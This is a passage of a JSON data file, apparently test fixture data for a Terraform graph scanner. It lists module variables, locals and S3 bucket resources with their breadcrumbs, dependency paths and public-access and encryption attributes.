\"bucket2\",\n            \"path\": \"/module2/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 9\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module.module.inner_s3_module.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module/main.tf([{/main.tf#*#0}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module2/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        9\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module2/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 11\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2.module.inner_s3_module.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module/main.tf([{/main.tf#*#1}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module2/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        11\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module_2.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module2/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 10\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module.module.inner_s3_module_2.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module/main.tf([{/main.tf#*#0}])\",\n      \"module_dependency_num\": \"1\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module2/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        10\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module_2.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module2/variable.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 12\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2.module.inner_s3_module_2.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module/main.tf([{/main.tf#*#1}])\",\n      \"module_dependency_num\": \"1\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module2/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        12\n      ]\n    },\n    {\n      \"attributes\": {\n        \"bucket2\": [\n          \"var.bucket2\"\n        ],\n        \"__address__\": \"module.another_s3_module.bucket2\"\n      },\n      \"block_type\": \"locals\",\n      \"breadcrumbs\": {\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"another_s3_module\",\n            \"path\": \"/another_one/main.tf\",\n            \"idx\": 0\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": [\n          \"var.bucket2\"\n        ],\n        \"__address__\": \"module.another_s3_module.bucket2\"\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/another_one/main.tf\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        0\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 11,\n        \"__start_line__\": 5,\n        \"block_public_acls\": [\n          true\n        ],\n        \"block_public_policy\": [\n          true\n        ],\n        \"bucket\": [\n          \"var.bucket2\"\n        ],\n        \"ignore_public_acls\": [\n          true\n        ],\n        \"restrict_public_buckets\": [\n          true\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"module.another_s3_module.aws_s3_bucket.var_bucket\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {\n        \"bucket\": [\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"another_s3_module\",\n            \"path\": \"/another_one/main.tf\",\n            \"idx\": 0\n          }\n        ]\n      },\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"var.bucket2\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.another_s3_module.aws_s3_bucket.var_bucket\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.var_bucket\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/another_one/main.tf\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"aws_s3_bucket.var_bucket\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        0\n      ]\n    },\n    {\n      \"attributes\": {\n        \"bucket2\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module.module.inner_s3_module2.bucket2\"\n      },\n      \"block_type\": \"locals\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 9\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 15\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module.module.inner_s3_module2.bucket2\"\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        15\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 11,\n        \"__start_line__\": 5,\n        \"block_public_acls\": [\n          true\n        ],\n        \"block_public_policy\": [\n          true\n        ],\n        \"bucket\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"ignore_public_acls\": [\n          true\n        ],\n        \"restrict_public_buckets\": [\n          true\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"module.s3_module.module.inner_s3_module.module.inner_s3_module2.aws_s3_bucket.var_bucket\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {\n        \"bucket\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 9\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 15\n          }\n        ]\n      },\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"aws_s3_bucket.example.id\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module.module.inner_s3_module.module.inner_s3_module2.aws_s3_bucket.var_bucket\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.var_bucket\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"aws_s3_bucket.var_bucket\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        15\n      ]\n    },\n    {\n      \"attributes\": {\n        \"bucket2\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module.module.inner_s3_module2.bucket2\"\n      },\n      \"block_type\": \"locals\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 11\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 16\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module.module.inner_s3_module2.bucket2\"\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        16\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 11,\n        \"__start_line__\": 5,\n        \"block_public_acls\": [\n          true\n        ],\n        \"block_public_policy\": [\n          true\n        ],\n        \"bucket\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"ignore_public_acls\": [\n          true\n        ],\n        \"restrict_public_buckets\": [\n          true\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"module.s3_module2.module.inner_s3_module.module.inner_s3_module2.aws_s3_bucket.var_bucket\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {\n        \"bucket\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 11\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 16\n          }\n        ]\n      },\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"aws_s3_bucket.example2.id\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module2.module.inner_s3_module.module.inner_s3_module2.aws_s3_bucket.var_bucket\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.var_bucket\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"aws_s3_bucket.var_bucket\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        16\n      ]\n    },\n    {\n      \"attributes\": {\n        \"bucket2\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.bucket2\"\n      },\n      \"block_type\": \"locals\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 10\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 17\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.bucket2\"\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        17\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 11,\n        \"__start_line__\": 5,\n        \"block_public_acls\": [\n          true\n        ],\n        \"block_public_policy\": [\n          true\n        ],\n        \"bucket\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"ignore_public_acls\": [\n          true\n        ],\n        \"restrict_public_buckets\": [\n          true\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.aws_s3_bucket.var_bucket\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {\n        \"bucket\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 10\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 17\n          }\n        ]\n      },\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"aws_s3_bucket.example.id\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.aws_s3_bucket.var_bucket\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.var_bucket\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"aws_s3_bucket.var_bucket\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        17\n      ]\n    },\n    {\n      \"attributes\": {\n        \"bucket2\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.bucket2\"\n      },\n      \"block_type\": \"locals\",\n      \"breadcrumbs\": {\n        \"bucket2\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 12\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 18\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.bucket2\"\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        18\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 11,\n        \"__start_line__\": 5,\n        \"block_public_acls\": [\n          true\n        ],\n        \"block_public_policy\": [\n          true\n        ],\n        \"bucket\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"ignore_public_acls\": [\n          true\n        ],\n        \"restrict_public_buckets\": [\n          true\n        ],\n        \"resource_type\": [\n          \"aws_s3_bucket\"\n        ],\n        \"encryption_\": \"ENCRYPTED\",\n        \"encryption_details_\": \"AES256\",\n        \"__address__\": \"module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.aws_s3_bucket.var_bucket\"\n      },\n      \"block_type\": \"resource\",\n      \"breadcrumbs\": {\n        \"bucket\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 12\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 18\n          }\n        ]\n      },\n      \"config\": {\n        \"aws_s3_bucket\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"aws_s3_bucket.example2.id\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.aws_s3_bucket.var_bucket\"\n          }\n        }\n      },\n      \"id\": \"aws_s3_bucket.var_bucket\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"aws_s3_bucket.var_bucket\",\n      \"path\": \"/module3/main.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        18\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"__address__\": \"module.another_s3_module.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"another_s3_module\",\n            \"path\": \"/another_one/main.tf\",\n            \"idx\": 0\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.another_s3_module.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/another_one/main.tf\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        0\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module.module.inner_s3_module2.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 9\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 15\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module.module.inner_s3_module.module.inner_s3_module2.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        15\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module.module.inner_s3_module2.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 11\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 16\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2.module.inner_s3_module.module.inner_s3_module2.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])\",\n      \"module_dependency_num\": 